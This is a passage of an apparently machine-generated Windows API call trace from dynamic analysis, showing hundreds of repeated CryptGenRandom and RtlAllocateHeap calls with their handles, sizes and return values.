0x34a4bb8 [0237.182] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662714 | out: pbBuffer=0x3662714) returned 1 [0237.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0237.187] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b74 | out: pbBuffer=0x3662b74) returned 1 [0237.187] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.187] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0237.200] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b9c | out: pbBuffer=0x3662b9c) returned 1 [0237.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0237.206] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36629bc | out: pbBuffer=0x36629bc) returned 1 [0237.222] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662cb4 | out: pbBuffer=0x3662cb4) returned 1 [0237.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0237.226] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c8c | out: pbBuffer=0x3662c8c) returned 1 [0237.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0237.232] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c3c | out: pbBuffer=0x3662c3c) returned 1 [0237.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0237.235] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366246c | out: pbBuffer=0x366246c) returned 1 [0237.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.238] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662854 | out: pbBuffer=0x3662854) returned 1 [0237.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0237.241] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36460ac | out: pbBuffer=0x36460ac) returned 1 [0237.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0237.247] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646f5c | out: pbBuffer=0x3646f5c) returned 1 [0237.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.250] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b4c | out: pbBuffer=0x3662b4c) returned 1 [0237.251] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.251] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0237.253] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662304 | out: pbBuffer=0x3662304) returned 1 [0237.256] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674584 | out: pbBuffer=0x3674584) returned 1 [0237.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0237.259] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674ad4 | out: pbBuffer=0x3674ad4) returned 1 [0237.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.259] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0237.275] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367423c | out: pbBuffer=0x367423c) returned 1 [0237.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0237.278] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674214 | out: pbBuffer=0x3674214) returned 1 [0237.287] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347178c | out: pbBuffer=0x347178c) returned 1 [0237.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.287] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0237.293] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674a0c | out: pbBuffer=0x3674a0c) returned 1 [0237.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.293] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0237.296] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367428c | out: pbBuffer=0x367428c) returned 1 [0237.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.306] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674534 | out: pbBuffer=0x3674534) returned 1 [0237.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0237.333] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36740ac | out: pbBuffer=0x36740ac) returned 1 [0237.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0237.334] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674cb4 | out: pbBuffer=0x3674cb4) returned 1 [0237.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.358] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674c8c | out: pbBuffer=0x3674c8c) returned 1 [0237.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.358] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0237.363] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674854 | out: pbBuffer=0x3674854) returned 1 [0237.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0237.378] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36746ec | out: pbBuffer=0x36746ec) returned 1 [0237.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0237.380] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674b9c | out: pbBuffer=0x3674b9c) returned 1 [0237.383] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674e94 | out: pbBuffer=0x3674e94) returned 1 [0237.383] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.383] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0237.386] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36743f4 | out: pbBuffer=0x36743f4) returned 1 [0237.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0237.409] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674d04 | out: pbBuffer=0x3674d04) returned 1 [0237.431] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36714bc | out: pbBuffer=0x36714bc) returned 1 [0237.534] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367196c | out: pbBuffer=0x367196c) returned 1 [0237.534] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.534] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0237.535] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3679304 | out: pbBuffer=0x3679304) returned 1 [0237.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0237.536] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671214 | out: pbBuffer=0x3671214) returned 1 [0237.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0237.536] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367178c | out: pbBuffer=0x367178c) returned 1 [0237.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0237.537] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671494 | out: pbBuffer=0x3671494) returned 1 [0237.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0237.537] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ee4 | out: pbBuffer=0x3671ee4) returned 1 [0237.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0237.538] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671034 | out: pbBuffer=0x3671034) returned 1 [0237.538] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.538] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0237.538] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671dcc | out: pbBuffer=0x3671dcc) returned 1 [0237.538] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.538] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0237.539] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f84 | out: pbBuffer=0x3671f84) returned 1 [0237.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0237.539] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ebc | out: pbBuffer=0x3671ebc) returned 1 [0237.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.539] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0237.540] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367137c | out: pbBuffer=0x367137c) returned 1 [0237.540] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.540] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a34 | out: pbBuffer=0x3671a34) returned 1 [0237.540] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.549] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a84 | out: pbBuffer=0x3671a84) returned 1 [0237.549] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fac | out: pbBuffer=0x3671fac) returned 1 [0237.550] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36718f4 | out: pbBuffer=0x36718f4) returned 1 [0237.550] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367182c | out: pbBuffer=0x367182c) returned 1 [0237.551] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367114c | out: pbBuffer=0x367114c) returned 1 [0237.551] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36716c4 | out: pbBuffer=0x36716c4) returned 1 [0237.552] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d04 | out: pbBuffer=0x3671d04) returned 1 [0237.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0237.552] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b74 | out: pbBuffer=0x3671b74) returned 1 [0237.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.553] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671584 | out: pbBuffer=0x3671584) returned 1 [0237.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.553] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0237.554] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367169c | out: pbBuffer=0x367169c) returned 1 [0237.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0237.554] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b24 | out: pbBuffer=0x3664b24) returned 1 [0237.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.554] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0237.555] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664cdc | out: pbBuffer=0x3664cdc) returned 1 [0237.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0237.555] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664ad4 | out: pbBuffer=0x3664ad4) returned 1 [0237.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0237.556] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664a0c | out: pbBuffer=0x3664a0c) returned 1 [0237.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0237.556] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664f0c | out: pbBuffer=0x3664f0c) returned 1 [0237.556] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0237.557] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664624 | out: pbBuffer=0x3664624) returned 1 [0237.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.557] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0237.558] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664f84 | out: pbBuffer=0x3664f84) returned 1 [0237.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0237.558] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366491c | out: pbBuffer=0x366491c) returned 1 [0237.558] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0237.559] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664354 | out: pbBuffer=0x3664354) returned 1 [0237.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.559] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0237.560] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x362dd04 | out: pbBuffer=0x362dd04) returned 1 [0237.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0237.560] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662854 | out: pbBuffer=0x3662854) returned 1 [0237.560] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0237.561] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x362d4e4 | out: pbBuffer=0x362d4e4) returned 1 [0237.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.561] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.561] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366246c | out: pbBuffer=0x366246c) returned 1 [0237.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.562] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c3c | out: pbBuffer=0x3662c3c) returned 1 [0237.562] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.563] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662da4 | out: pbBuffer=0x3662da4) returned 1 [0237.563] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c8c | out: pbBuffer=0x3662c8c) returned 1 [0237.564] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b4c | out: pbBuffer=0x3662b4c) returned 1 [0237.564] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662cb4 | out: pbBuffer=0x3662cb4) returned 1 [0237.565] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662d7c | out: pbBuffer=0x3662d7c) returned 1 [0237.565] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36629bc | out: pbBuffer=0x36629bc) returned 1 [0237.565] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662f84 | out: pbBuffer=0x3662f84) returned 1 [0237.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0237.566] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b9c | out: pbBuffer=0x3662b9c) returned 1 [0237.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0237.567] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e94 | out: pbBuffer=0x3662e94) returned 1 [0237.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0237.567] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b74 | out: pbBuffer=0x3662b74) returned 1 [0237.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0237.568] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e44 | out: pbBuffer=0x3662e44) returned 1 [0237.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0237.568] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662714 | out: pbBuffer=0x3662714) returned 1 [0237.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.568] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0237.569] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366237c | out: pbBuffer=0x366237c) returned 1 [0237.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.569] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0237.569] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36623f4 | out: pbBuffer=0x36623f4) returned 1 [0237.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0237.570] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662994 | out: pbBuffer=0x3662994) returned 1 [0237.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.570] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0237.571] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662aac | out: pbBuffer=0x3662aac) returned 1 [0237.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0237.571] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36623cc | out: pbBuffer=0x36623cc) returned 1 [0237.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.571] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0237.572] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662a5c | out: pbBuffer=0x3662a5c) returned 1 [0237.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0237.572] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36629e4 | out: pbBuffer=0x36629e4) returned 1 [0237.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0237.573] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662944 | out: pbBuffer=0x3662944) returned 1 [0237.573] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.573] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0237.573] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662d54 | out: pbBuffer=0x3662d54) returned 1 [0237.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.574] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662304 | out: pbBuffer=0x3662304) returned 1 [0237.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.574] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.575] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c64 | out: pbBuffer=0x3662c64) returned 1 [0237.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0237.575] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b74 | out: pbBuffer=0x3671b74) returned 1 [0237.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0237.576] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a5c | out: pbBuffer=0x3671a5c) returned 1 [0237.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0237.576] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d04 | out: pbBuffer=0x3671d04) returned 1 [0237.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, 